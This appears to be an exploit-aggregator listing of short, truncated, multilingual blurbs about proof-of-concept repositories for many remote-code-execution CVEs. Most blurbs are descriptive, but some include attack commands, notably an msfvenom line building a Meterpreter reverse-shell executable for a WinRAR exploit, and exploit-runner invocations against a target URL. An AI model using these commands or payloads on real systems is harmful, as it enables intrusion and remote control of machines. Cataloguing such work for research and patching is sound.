CVE-2023-51385

CVE-2023-51385 OpenSSH ProxyCommand RCE 1. Wenn Ihr ProxyCommand wie folgt konfiguriert ist: root@kitploit: Host .com ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7890 %h %p 2. Verwenden Sie den folgenden Befehl für den Proof of Concept root@kitploit: git clone...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ Vulnerabilità di esecuzione di codice remoto CVE-2023-33246 Exploit Utilizzo: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" Caratteristiche di questo strumento Poiché il meccanismo del heartbeat attiva la vulnerabilità...

CVE-2026-5027-Langflow

CVE-2026-5027 e CVE-2026-10520 CVE-2026-25089 exploiter: Clone root@kitploit: git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git cd CVE-2026-5027-Langflow Utilizzo file exploit.py Test automatico e sfruttamento. root@kitploit: python3 exploit.py -u https://target.com Impostazioni...

CVE-2021-42013

CVE-2021-42013 - Apache HTTP Server 2.4.50 So führen Sie das Lab CVE-2021-42013-Path Traversal aus 1. Installieren und starten Sie Docker auf Ihrem PC/Laptop 2. Klonen Sie dieses GitHub-Repo 3. Gehen Sie in den Ordner Path Traversal 4. Geben Sie die folgenden Befehle ein docker build -t...

CVE-2020-9496

CVE-2020-9496 - RCE Poiché le 2 richieste correlate a xmlrpc in webtools xmlrpc e ping non utilizzano l'autenticazione, sono vulnerabili a una deserializzazione non sicura. Questo problema è stato segnalato al team di sicurezza da Alvaro Munoz [email protected] del team GitHub Security Lab...

CVE-2022-26809-RCE

CVE-2022-26809-RCE Questa repository contiene un PoC per l'esecuzione di codice remoto CVE-2022-26809 Questo è un test non funziona...

CVE-2022-24637

CVE-2022-24637 Exploit für die nicht authentifizierte RCE in Open Web Analytics OWA 1.7.3. Diese Arbeit basiert auf https://devel0pment.de/?p=2494. HAFTUNGSAUSSCHLUSS: Dieses Skript wurde entwickelt, um die Sicherheit von Systemen zu überprüfen. Verwenden Sie dieses Skript nur auf Ihren eigenen...

CVE-2022-0848-RCE

CVE-2022-0848 Esecuzione di codice in remoto RCE in part-db 0.5.11 Cambia l'host nel file bash ed eseguilo, poi ottieni la shell tramite RCE...

CVE-2023-5360-exploit-with-native-libraries

Royal Elementor Addons ≤ 1.3.78 – Nicht authentifizierter beliebiger Datei-Upload RCE 📌 Übersicht Dieses Repository enthält einen modifizierten Proof-of-Concept-Exploit für das WordPress-Plugin Royal Elementor Addons and Templates Versionen ≤ 1.3.78. Die Schwachstelle ermöglicht einen nicht...

CVE-2024-46538

इस भेद्यता की खोज करने वालेphysicszq को धन्यवाद। CVE-2024-46538 ★ CVE-2024-46538 PfSense Stored XSS जो मनमाना कोड निष्पादन की ओर ले जाता है - PoC ★ विवरण CVE-2024-46538 : PfSense Stored XSS भेद्यता विवरण: pfsense v2.5.2 में एक क्रॉस-साइट स्क्रिप्टिंग XSS भेद्यता हमलावरों को interfacesgroupsedit.p...

CVE-2020-15227

CVE-2020-15227 DISCLAIMER! Non mi assumo alcuna responsabilità per l'uso in ambienti reali, quindi per favore NON fatelo. Questo aggeggio serve solo a scopo dimostrativo e per testare cose per gli amministratori di sistema. Ho realizzato questo exploit in base alla pubblicazione di una CVE di Dav...

ShadowRay-RCE-PoC-CVE-2023-48022

PoC para uma vulnerabilidade de execução remota de comandos no framework Ray CVE-2023-48022 Este script de exploit e PoC foram escritos para uma análise aprofundada da CVE no vsociety. O framework Ray, uma ferramenta essencial para aplicações de IA e machine learning baseadas em Python, enfrentou...

cve-2014-7920-7921_update

cve-2014-7920-7921 Codice exploit per CVE-2014-7920 e CVE-2014-7921 - code-exec in mediaserver fino ad Android 5.1 I simboli in questo exploit sono per Android 4.3, ma possono essere adattati a qualsiasi versione fino ad Android 5.1...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 SessionReaper: PHP-Object-Deserialisierung mit RCE in Magento Open Source 2.4.7. Ausschließlich zur Nutzung in kontrollierten Umgebungen. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführe...

CVE-2018-2894

CVE-2018-2894 CVE-2018-2894 vulnerabilità di WebLogic che consente l'upload arbitrario di file/RCE tramite accesso non autorizzato script di verifica...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 Macchina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

CVE-2021-46398

CVE-2021-46398 - Lalie ARNOUD, Gaspard ANDRIEU In questo repository troverai una prova di concerto dello sfruttamento della vulnerabilità CVE-2021-46398 tramite docker compose, oltre a un'analisi degli impatti di questa vulnerabilità sui sistemi informativi. root@kitploit: Exploit Title:...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 Introdução A vulnerabilidade de execução remota de código do Spring Cloud Gateway CVE-2022-22947 ocorre no endpoint Actuator da aplicação Spring Cloud Gateway, que, quando ativado, exposto e inseguro, é suscetível a injeção de código. Um atacante pode explorar essa...

0-click-RCE-Exploit-for-CVE-2024-50526

CVE-2024-50526 / 0-Click RCE Exploit Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1859403137435459727 Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-50526, eine nicht authentifizierte Schwachstelle zum beliebigen Hochladen von Dateien im WordPress-Plugin Multi...

CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE

CVE-2025-32433 - Erlang/OTP SSH RCE PoC Panoramica PoC che dimostra esecuzione remota di codice senza autenticazione nel server SSH Erlang/OTP. Sfruttando un difetto nella gestione dei messaggi del protocollo SSH, un attaccante può eseguire comandi arbitrari sul target senza credenziali valide...